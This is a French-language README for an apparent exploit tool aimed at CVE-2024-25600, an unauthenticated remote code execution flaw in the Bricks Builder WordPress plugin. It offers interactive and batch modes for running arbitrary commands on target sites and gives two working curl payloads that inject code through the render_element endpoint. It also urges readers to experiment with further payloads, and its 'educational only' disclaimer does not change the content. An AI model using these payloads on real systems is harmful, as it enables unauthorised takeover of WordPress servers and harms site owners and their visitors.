CVE-2024-25600 Outil d'exploitation 🚀

Description 📝

Cet outil 🛠️ est conçu pour exploiter la vulnérabilité CVE-2024-25600 🕳️ trouvée dans le plugin Bricks Builder pour WordPress. La vulnérabilité permet une exécution de code à distance non authentifiée sur les sites web affectés 💻. L'outil automatise le processus d'exploitation en récupérant des nonces et en envoyant des requêtes spécialement conçues pour exécuter des commandes arbitraires.

Fonctionnalités 🌟

• Mode interactif : Interagissez avec le site cible en temps réel 🕹️.
• Mode batch : Analysez et exploitez plusieurs sites web à partir d'une liste 📋.
• Exécution de commandes : Exécutez des commandes arbitraires sur le serveur cible ⚙️.

Installation 🛠️

1. Clonez ce dépôt sur votre machine locale 🖥️ en utilisant git clone.
2. Accédez au répertoire du dépôt cloné.
3. Installez les bibliothèques Python requises en utilisant pip install -r requirements.txt.

Utilisation 📖

Mode interactif 🎮

1. Exécutez l'outil avec python exploit.py -u <URL> pour démarrer le mode interactif.
2. Suivez les instructions à l'écran pour envoyer des commandes au serveur cible.

Mode batch 📊

1. Préparez un fichier texte avec une liste d'URLs cibles.
2. Exécutez l'outil avec python exploit.py -l <file_path> pour analyser et exploiter les sites listés.

Preuve de concept (PoC) 📝

Le PoC de base fourni par la divulgation est le suivant :

curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
  "postId": "1",
  "nonce": "[NONCE]",
  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "throw new Exception(`id`);",
        "objectType": "post"
      }
    }
  }
}'

Mise à jour : Second PoC (plus fiable)

curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
  -H "Content-Type: application/json" \
  -d '{
  "postId": "1",
  "nonce": "[NONCE]",
  "element": {
    "name": "carousel",
    "settings": {
      "type": "posts",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "throw new Exception(`id`);",
        "objectType": "post"
      }
    }
  }
}'

Il est possible que des charges utiles supplémentaires produisent de meilleurs résultats. Si mon exploit ou ma preuve de concept ne fonctionne pas pour vous, je vous encourage à expérimenter avec des charges utiles alternatives pour trouver une solution plus efficace.

Remplacez [HOST] par le site web cible et [NONCE] par la valeur du nonce récupérée depuis le site.

Référence 📖

Pour plus d'informations sur la vulnérabilité CVE-2024-25600, veuillez vous référer à la divulgation détaillée sur Snicco.io.

Avertissement ⚠️

Les informations fournies dans ce README sont uniquement à des fins éducatives. Le piratage non autorisé de sites web ou de réseaux est illégal et contraire à l'éthique. 🚫

Remerciements 🙏

Félicitations aux chercheurs en sécurité qui ont découvert et signalé cette vulnérabilité, fournissant à la communauté des informations et des outils pour aider à sécuriser leurs applications web.